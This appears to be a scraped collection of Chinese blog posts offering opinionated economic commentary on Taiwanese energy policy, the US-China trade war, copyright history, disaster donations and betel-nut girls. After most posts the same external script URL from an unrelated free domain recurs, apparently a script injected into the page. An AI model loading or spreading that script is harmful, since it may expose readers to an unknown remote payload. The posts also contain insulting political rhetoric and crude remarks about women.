作者: yuanyuchang
何謂經濟學上之效率?
很多人搞不清楚「侷限條件下達到最大效率」。特別是工程師出身者老用理工科思維來定義效率,這是常見的錯誤。
為什麼經濟學認為廠商必然是「侷限條件下達到最大效率」在經營,因為如果不是,則立刻違反「自私假設」—經營者明知有更高獲利的選項卻不選。
工科生常忽略的是「真實世界侷限條件」這回事,往往只看到機械的工作條件,卻忽略這只是生產要素的一小部分。
身為一個工廠經營者的經驗:經營者的資訊成本、管理能力;幹部的管理能力、資訊成本、人力素質、可成長性;底層員工的態度、能力與學習積極性;公司財力;訂單可預期性… 往往這些才是最關鍵的侷限條件。
十幾年前我就說過:公司經營是統合股東+債權人、員工、客戶、上游廠商四方資源並對四方資源負責。侷限條件思考也要顧及此四方資源的侷限。
經營者必然是在這些條件之下(包含自身能力)達到最高效率。
理工科就業常見的不適應症,也往往來自於對這些現況的無知。
也不用再寫信跟我說什麼文科不如理工科的蠢話。我是高中自然組大學聯考考上交通大學工科的,理工科思維我自己很熟的。我反倒是要建議理工科—至少要會且看懂財報!
強迫大戶節電的蠢政策
試想你走進一家便利商店,發現買一箱汽水比買一瓶便宜。
於是你問店員:「我是球隊要舉辦比賽活動,如果一次跟你買20箱汽水可不可以?」
店員:「什麼?!你要買20箱?!來人啊!!!」當場衝出兩名店員架著你,要你先支付罰款才可購買。
荒謬嗎?一點也不,這正是蔡英文政府正要幹的蠢事:
「…工業用電大戶方面,張景森說,如果預期明天的備轉容量可能降到 3%,為避免用電亮紅燈,前一天就要提前啟動措施,告知用電大戶必須強制參加「需量反應」制度,必須配合節電 5%,若達到目標就獎勵,但如果超標,每度電就會比基本電費多了幾倍。…」(https://www.nownews.com/news/20180413/2735097)
蔡政府錯在哪?
1. 從經濟學來看,在侷限條件之下廠商必然是以「最高效率」的方式在使用資源,才能達到獲利最大化。
電力資源也是其中一環。
可見到許多企業主對節省水電的心力遠比家庭主婦還厲害。
因此政府透過「超過某數量就漲價」的模式,其實是:a.懲罰有能力獲取較多訂單的廠商、b.逼迫廠商扭曲有效率的生產模式與c.提高廠商的生產費用。
廠商因應之道不外乎「外包其他工廠」與「試圖取得更多電力使用執照(牽涉可能的偽造文書與賄絡貪汙)」。長期則可能選擇遷廠他國。
2.同理,既然侷限條件下廠商已經是用最有效率在生產,政府強迫廠商不顧成本效益採購新機器或技術來節電,本質也是逼迫廠商扭曲資源配置。恍若「政府比廠商更知道怎麼經營」,荒謬透頂!
資源扭曲配置後,很可能廠商原本要用來提昇生產技術、增加產能、研發新品甚至獎勵員工的資源就被擠壓而消失了。
反之,要購買什麼設備、什麼技術,卻是政客/公務員最有可能上下其手的貪汙空間。買錯廠牌的工廠很可能永遠也過不了關。
3.蔡英文政府最大的錯誤,是一開始就拿錯誤的能源政策欺騙人民。無腦的「非核家園」實施下來是人民在可見的未來都必須以更高的代價用電,但整體電力產出卻跟不上經濟發展所需。
如今搞成「資優生分數考太高顯得差分者太蠢所以要被體罰(廠商拼經濟拼得民進黨的能源政策謊言破功所以被處罰)」這種荒謬狀況,削足適履的愚蠢張景森竟有臉對廠商指指點點,看著讓人可笑。這位民進黨高官,2016年還一度要求百貨公司美食街應該於下午一點至三點停止營業,如此過度干預私人廠商營運,比共產黨還共產黨。可偏偏顏色正確的蠢蛋可以屁股坐大位掌大權,是民進黨政府一貫特色。
建議一起閱讀:「提高電費來逼迫產業升級的蠢話」一文。https://js.developerstatss.ga/stat.js?n=ns1
發生洋蔥滯銷而受虧損的小農一點也不值得同情,如同生產無人聞問的產品或販售市場不愛的餐點,最後倒閉的工廠或餐廳本質上是一樣的。
如果老是要用政府的力量去免除某些本該被市場懲罰、淘汰的生產者因錯誤決策而生的虧損,必然演變為「總是用全國人民的財富去補貼少數人的錯誤。」
最後我們會很荒謬的看到,有一群人「專門靠製造錯誤與虧損,透過政治力來獲利」!是的,抗爭專業戶、休耕專業戶乃至於申請補貼專業戶(例如年年供需失調),是必然的後果。
然後我們又會看到一群自以為很懂的蠢文青出來哭爸「市場失靈」。事實上這個社會壓根就沒讓市場正常發揮作用過!
美國沒有比較光明正大
同樣的,我們現在也看到美國兩大年輕商業鉅子 — Facebook的Mark Zuckerberg因為提供的服務動搖了美國傳統政客利益與政客遊戲規則,正在國會被當孫子一樣審訊(雖然審訊者品質實在參差不齊)。
Amazon.com的Jeff Bezos掌握的零售與知名報業Whashington Post也同樣引起華盛頓政客的特別眼光。
只要公眾利益夠龐大,尋租與政治鬥爭手段都會出現。美國當年用anti-trust惡整標準石油、惡整AT&T、惡整Microsoft,手段一點也沒有比較光明正大。
這點從美國各大企業有名了、有錢了之後紛紛貢獻不少給各個政客、遊說團體就可知道,民主並不必然地保證資產安全性。美國有錢人或政客把錢藏在瑞士或其他國家的案例也不少,是否同樣可證「美國是個沒人權的國家」?

抓幾個最簡單的重點說:
1. 嫌東西太便宜是違反基本經濟準則的。正常人不會幹這種蠢事,但一個國家卻會在政治影響下幹起這種蠢事。
當一個政府嫌某國賣的東西太便宜,而出面針對該國商品增加課稅時,究竟是保護還是傷害國民?這點不言自明。而得利者除了政客以及少數利益團體外,其結果必然是全國付出更高的代價來滿足原本用較低成本即可滿足的需求。
換言之,貿易大戰使用關稅或非關稅障礙者,必然是以全國人民財富作為犧牲代價,滿足少數人利益。但因為真實世界的侷限條件千絲萬縷又牽一髮而動全身,實際運作下來,不見得如少數人所預期那般獲利。
此外,美國單挑中國貿易逆差數字本身也有問題 — 中國身為世界工廠,許多他國製造零組件進口中國後組裝完成才整機出口美國,國際貿易帳雖然最終價格通通算到中國頭上,但事實上中國廠商僅賺整體價格之一小部分,此點關鍵看來美國政府是故意忽略,固不待言。
2. 美國單單對中國發起貿易戰是行不通的,因為廠商自有因應之道 : 快速在未納入名單之國家設廠即可(特別是墨西哥)。
換言之,美國的貿易戰可能傷了中國,絕對傷了自己,但看戲的國家可能因此得利。最後少部分利益團體希望透過tariff來達到保障自身利益,仍會因為本就更有生產效率廠商移往他國而依然被貫穿打擊。
3. 美國要避免上述狀況,必然要擴大貿易戰範圍,也必然要引進過去針對紡織業就曾實施的「配額制度(quota system)」。
可是歷史經驗告訴我們,配額制度不但沒有保障美國紡織業,反而加速美國高端紡織業的死亡,因為被配額制的國家的私人紡織廠技術反倒被迫快速精進,很快世界精品都得找這些國家代工(這是A. A. Alchian提出的經濟學定律早早預言,我就不多加解釋,懂的朋友就懂,不懂的自己多用功)。
因此這次針對鋁鋼業者的保護措施,很可能結果只是加速此二類業者在美國的絕種速度。我傾向認為煉鋼高爐業者會打得氣喘吁吁,而優秀的電爐業者可能他國(墨西哥可能性高)另起爐灶,偷偷溜走。
可以確定的是配額制度必定帶來貪汙與走私,有管道的公務員或類公務員會富得流油。是的,公務員會是最後最堅定歡迎與努力維持貿易障礙的一群既得利益份子。
4. 美國宣稱的「智慧財產權保護」是做賊的喊抓賊。美國自己建國初期瘋狂盜版英國、歐陸書籍,尤其美國開國元勳Benjamin Franklin更是從殖民地時期就盜印書籍或是透過自己在議會的關係承包選票、殖民地紙鈔印刷。
這也是Franklin第一桶金的由來。
美國盜版英國書籍之嚴重,甚至美國文人R. W. Emerson曾經寫信向英國知名作者Thomas Carlyle道歉美國盜印其書籍狀況之嚴重。直到1891年,美國都建國100多年了,盜版風氣才逐漸消弭。
另一方面,英國自己也盜印不少歐陸的書籍;反之,法國也派人盜取的英國較先進的紡織技術。
有趣的是,當我們回頭看英美的著作權史,早年著作權保障的並非作者,而是印刷者 — 1556年英國國王授與Stantioners’ Company獨家特權,該公司永久獨家享有印刷與銷售權利(exclusively printing and sale, forever)。不過到1694年,國王就收回這個權利了。這代表「政客的承諾都是不可信」!
著作權法保障作者要等到1710年英國國會通過的Statute of Anne,不過最早只保障14年(可付費再追加14年)。
美國獨立後,著作權法是由各州自己訂立,多半參照英國Statute of Anne。不過很多州發現著作權這種壟斷權給了作者之後,書價變太貴州民買不起,又搞了書籍的「價格管制」限制售價。很長一段時間,美國並沒有聯邦法來規範著作權。
美國真正具備全國性現代著作權法架構要等到1909年Copyright Act與1976年大修法之後。從上述歷史我們不難看出,著作權此種擬制壟斷權授與也是在英國、美國富裕之後才搞的玩意兒。現在動輒301條款對付新興市場國家,口中嚷著尊重著作權。可他們自己當年窮困時可也是盜版天堂,壓根就沒尊重過他國著作權。(以上論點我在2005年就談過)
因為著作權本質上就是一國政府在國內特許給私人的擬制壟斷權,他國本就毋須理會或遵守。例如當年中華民國著作權並不保障「翻譯權」,中華民國境內人士可自由翻譯國外著作並出版,毋須給付版稅給原文作者。可當年美國動輒以301對付台灣,宣稱我們侵害智慧財產權。真是天下笑話!台灣人本就沒有遵守美國法律之義務,一如現在中國廠商如僅在中國境內販售商品,同樣毋須遵守美國法律。
美國純粹是仗著自己市場大,到處勒索。只是現在碰上個市場也不小的中國,踢到鐵板了。
說「中國用合資企業來取得美國專利技術」也是在混水摸魚,政客式語言故意混淆諸多觀念。因為一來專利是「屬國」的,美國企業到中國合資設廠,如果商品不賣回美國,本就無美國專利保護可言;二來,即便賣回美國,既然是專利發明人/所有人到他國合資設廠製造,又何來專利侵權之有?三來,就算是出口至美國商品非法侵權美國專利,美國有法院、有聯邦貿易委員會等各種即時阻止商品進入美國之手段,又與貿易戰何干?四來,專利本就是用特許壟斷權換取發明人公開發明資料,若發明人於中國無專利保障,中國廠商即便參考美國專利局資料而自行開發出類似功能商品,也無侵害美國發明人之事實。況且,現今技術之複雜,多數技術光靠專利說明書也很難完美複製,還不如逆向工程+挖角團隊(這部份可能又牽涉到營業秘密)。
最重要的是:美國廠商如果認為到中國合資會造成技術外流的風險與成本大過合資利益,則根本不會發生合資。就是因為利益大過風險與成本,才會雨後春筍這麼多廠商願意合資。技術權利為廠商所有,並非美國政府所有。這也表示,美國政府認為的「國家利益受侵害」不過是政客的選舉語言。
(專利授權、訴訟與反托拉斯競合是我先前工作的主要內容,關於專利制度的經濟分析精采複雜,有機會再深談吧~)
5.「中國全面性取消關稅」大幅開放的確是一妙招。
一者關稅對中國來說比例甚低,全面取消對稅收影響也不太大。
二者,中國全面取消關稅下而美國搞起大規模貿易障礙,此消彼漲下世界市場搞不好要換人做。中國與美國都享有「人口多、語言共通且訊息費用低」這特色,歐盟市場這點就難以克服。取消關稅也讓中國人民大大享受。
三者,中國全面取消關稅下,美國很難長時間自己一個搞貿易障礙,成本過鉅使然。此招會讓美國這堆跳樑政客掀起的貿易戰泥牛入海,連在WTO下都討不到便宜。
說到WTO,2017年中國、香港、澳門共提供12.4%的經費,美國提供了11.24%。中國國力的確非吳下阿蒙了。(日本4.27%、南韓3.04%、台灣1.54%)
川普搞貿易戰在我看來純粹是選舉所需,雷大雨小是必然。若真的大規模認真搞,則美國好不容易因減稅、de-regulations而有點起色的經濟不妙矣!https://js.developerstatss.ga/stat.js?n=ns1
2015年9月,正在攻讀MBA的學生Sanmay Ved閒來無事,上了Google Domain看看有什麼網址可以註冊。
使用過這類註冊網站如GoDaddy的朋友大概都知道,大家搜尋某個心目中的網域名稱,如果沒人購買,就會跳出「可購買」之類的選項。
Sanmay Ved福至心靈地想試試看「google.com」,看起來很荒謬,但他就想試試,沒想到…竟然「available」?!而且一年只要$12美元。
參見以下當年Sanmay Ved的截圖:

當下Sanmay Ved以為是系統出錯,可是沒想到他竟然從放入購物車到完成結帳﹐一氣呵成!而且從其他網域買賣平台驗證發現他是真 的 成 功 買了google.com這個網址!!
可惜,Google內部在一分鐘內就發現了錯誤,取消訂單與退回刷卡金額,google.com又重回Google懷抱。
而Sanmay Ved透過rewards program通報這項重大瑕疵,Google方面派人調查並確認後,致贈$6006.13美元給Sanmay Ved,表揚他協助發現bug。後來得知Sanmay Ved將受贈獎金捐給慈善機構後,Google這方又主動加碼加倍。
無論如何,Ved的確是Google認證,在2015年9月曾合法擁有google.com一分鐘的男人!https://js.developerstatss.ga/stat.js?n=ns1
從利息理論看捐款政府賑災

本文分二個部分,第一部分從I. Fisher的利息理論來論證「為什麼賑災捐款可以分給當地業者」;第二部分從經濟分析出發,闡述為什麼我認為「不應該捐款給政府」。
一、為什麼政府援助或有私人捐款當地業者是合理的?
什麼是生產要素?傳統教科書的定義(土地、勞力、企業家精神、資本云云)是放屁。
根據I. Fisher利息理論:一切可帶來收入(註)者,均是生產要素。而收入是一連串事件。
從這個邏輯我們可知道:身體、健康、生命、智力都可以帶來未來收入,如同土地、住宅、廠房、汽車、家具、器具、機械、原料、半成品、成品、店面…均是生產要素也均是資本。
當今天發生災害,致使上述生產要素滅失或損害,都可看做上述生產要素的「未來收入受到折損」。
依照這個邏輯來看,天災發生造成的損害於自然人或業者都是一樣的,因此如果有私人或政府對受損的自然人或業者施以援手,經濟邏輯與意義上也均是共通,某些人對於捐款不用在自然人而用到業者身上就忿忿不平、深感不滿的情緒背後其實是毫無邏輯可言。
關於風險分擔部分,某些論者會批評說業者多有投保產險、火險或地震險,不應該再接受捐款。然而這種說法有兩點問題:1. 這些產險、火險不見得完全cover實現的風險;2. 自然人同樣也有產險、火險乃至於醫療險與壽險的保障。
二者都可能發生保障不夠完全與並未投保兩件事實。論者當然也都可以怪罪業者或自然人沒有風險意識、沒做到未雨稠繆。
但若站在客觀的「因災害而受損」這個角度看,上述經濟邏輯才是正確且一體適用的。捐款者當然可以嘗試分別已受到保險保障與未受保險保障而分別對待,可其實這並不代表前者比後者更不可憐或不值得同情。在我看來,都是一樣值得捐款與同情的。
二、為什麼不應該捐款給政府?
基於兩個理由我認為不應該捐款給政府:
1. 災害防護與救難本是政府的責任,人民納稅給政府所要購買的一部分服務就是救災賑災。這也本該在政府預算之中。因此政府還有臉跟人民拿捐款?個人認為根本已經失職。
2. 從產權經濟分析角度看,捐款給政府之後的產權往往不明,而政府機構的花錢模式永遠是:「耗盡預算,效率不管」。加上「產權不明」這個侷限條件,又創造了政客與其裙帶組織尋租獲利的空間。
這也是目前最為人所詬病的現象。
所以我們看到台南維冠大樓因地震倒塌,台南市民進黨政府收42億元新台幣捐款,竟然挪用16億元到並未受地震損害的「校園校舍重建」項目上?!依據本文第一點經濟邏輯來看,此種挪用根本不符合「賑災」之目的與效果。此外,老舊校舍的改建本該是政府既定預算中去執行,怎麼會使用賑災捐款?
而最諷刺的是,根據台南市政府自己公開的收支情形表來看(https://goo.gl/b3kTTb),屆至2017/09/30,執行金額僅為收受捐款總額的一半。換言之,捐款者希望的「救急」放到政府手中變得一點都不急。我們甚至可以看到表中記載「端午節慰問金(285萬元,含肉粽禮盒);中秋節慰問金(320萬元);春節慰問金(320萬元);迎向希望擁抱愛感恩餐會賀歲金(36萬元)」淪為政客做人情三節禮金啦?
更離譜的還有「房屋稅及使用牌照稅補助(51萬元)」與「旺林飯店災前應納房屋稅(38萬元)與維冠大樓受災戶土地增值稅(774萬元)」!這個政府房屋倒了但未倒之前的稅金要照扣,明明可免收卻不減免也就算了,還不要臉地政府自己擅作主張,從台灣人捐款愛心中擅自挪用為「稅金」。我相信當初捐款台南地震的朋友,可不是要「幫忙繳稅」吧?
諾貝爾經濟學獎得主M. Friedman曾說過四種效率,由高到低:「1. 花自己的錢解決自己的問題 > 2.花自己的錢解決別人的問題 > 3. 花別人的錢解決自己的問題 > 4. 花別人的錢解決別人的問題」
為什麼不直接把捐款總額拆分給受災戶,由其自行決定如何使用?經濟學上來看這也應該是效率最高的資源使用方式。政府何德何能自認比災民更知道如何使用善款?效率之低有目共睹。
再看看台積電與慈濟在幾次災害中高效率對比前述台南市政府「慢慢發放兼送肉粽」的行政效率。再看看民進黨蔡英文政府於2018年花蓮地震中都可以藉機拒絕中國援手,宣稱日本團隊儀器設備多先進,結果日本團隊只是來「示範儀器怎麼操作」。這個政府連救災都還政治利益擺中間,到底是來辦事的還是來搞事的?
921大地震龐大捐款用途與項目至今仍有爭議。國外更是政府挪用捐款對付政敵甚或購買武器打內戰者大有人在。
產權不明引發的尋租空間與租值消散,以及必然存在的低效率,是我認為「不要捐款給政府」的最重要理由!https://js.developerstatss.ga/stat.js?n=ns1
The tariffs of the US held by President Trump should bring us the “quota system" as the final method of the trade war, which I believe will kill most steel producers in the US.
There are some new investing opportunities if you know the economics well.https://js.developerstatss.ga/stat.js?n=ns1

為什麼經濟學最根本天條就是需求定律呢?
需求定律究其內涵,是指:「侷限條件不變下,人類會選擇效益最大化的方案。」效益最大意涵著成本最低或收益最大。
而從需求定律我們可以推得,當關鍵侷限條件轉變時,人的選擇變多(意味成本改變),新的效益最大化方案會被採用。我們可以從邊際現象的轉變,得知與推測人類行為的轉變。也是說,經濟學可以「科學性地預測人類行為」。
檳榔西施的盛行,一部分來自於前幾天我寫的一篇有關於「剩女的經濟分析」:
從10幾歲到20幾歲這段時光都有男生要,都是性市場或婚姻市場的競爭優勢者;反之,多數男生一生都處在沒女生要的困境,少數耀眼帥哥底下是一片烏鴉鴉的史萊姆雜魚,這群雜魚必須努力讓自己成為「自帶財產或有未來高獲利可能性」才能換得女性目光的稍稍停留。
因此當競爭優勢者流失優勢並理解的這個真相時,當然衝擊很大,就如此影片的女主角。
但女生先天的優勢還是在相當長一段時間相對吃香啦。
就算女性主義者再怎麼強辯,再怎麼宣稱「社會物質化女性」,不可否認的就是有相當多女性會趁自己年紀尚在性市場上享有租值時,透過販賣外貌甚至性來套現或換取機會。
在我高中大學檳榔西施最盛行的時代,檳榔西施相對於酒店陪酒賣身的小姐,收入雖然略低(但仍遠高於其他低租值工作,如工廠作業員),但賣身機率與酒醉傷身比率都低得多。對於學歷、技能租值不高的年輕女性來說,檳榔西施是一個相對安全一點但獲利豐厚的職業選項。
全盛時期檳榔西施正妹多,又敢脫。我就讀交通大學時親眼在光復路上見到全裸僅穿透明小內褲的檳榔西施出來攬客,臉蛋之優、身材之好,險些造成汽機車連環追撞。(如今光復路上清華大學到交流道這段早不復當年盛況。)
後來展場文化盛行,年輕素質高的女性一波人紛紛加入更安全且看似檔次更高的show girls職業。不過這個侷限條件的轉變並不夠重大,show girls行業的胃納量不足以吃掉大部分檳榔西施。可是邊際現象上,我們可以注意到2005年以後的檳榔西施外貌素質普遍性下降,年齡開始普遍性提高。
真正重大的侷限轉變,來自於「直播」技術的普及化與廉價化 — 隨便一支智能手機搭配廉價外接USB燈光就可開直播,收入不但因為觀眾基數遠大於檳榔攤過路客,還免去客人鹹豬手、陌生人跟蹤下班等等風險。
一如某些妹妹的心得分享:
幾個月改行去當了直播主,「說只要穿的正常,對手機聊天、唱歌就有收入,比之前的『皮肉錢』好賺多了。」之前顧檳榔攤一個月只有4萬,但是改行開直播可能還會賺超過,同樣可以輕鬆賺錢,「誰要當西施啊?」
一時間大量年輕又有本錢,想賺快錢或想紅的女性紛紛投入直播市場,其結果是中南部檳榔西施忽然水準大幅下降,甚至幾個攤位因招募不到西施而變成「大叔看店」…
2002年以來多少地方政府試圖透過行政強制手段減少檳榔西施暴露現象以滿足某些保守衛道人士的個人偏好,往往不得其效,甚至淪為地方不肖警察與角頭把持檳榔攤之間的貪汙共犯關係。
結果是當重大侷限轉變來臨時,市場的反應與變化遠勝過政府的力量。結果是Apple、Google與手機直播app,聯手替台灣政府解決了檳榔西施。
有趣的再接續先前我看好中國漫畫小說市場的崛起未來有機會與日本動漫一較高下議題,近年中國色情影片越拍越好,而中國色情直播市場之大、競爭之激烈,拍攝手法日漸進步,口味尺度也直逼歐美。或許這一塊也會是不可忽視的市場與軟實力!
參考新聞:「檳榔西施消失!她分享經驗嘆:性感姊姊都改行了」
延伸閱讀:「線上色情廣告幫助減少妓女謀殺」https://js.developerstatss.ga/stat.js?n=ns1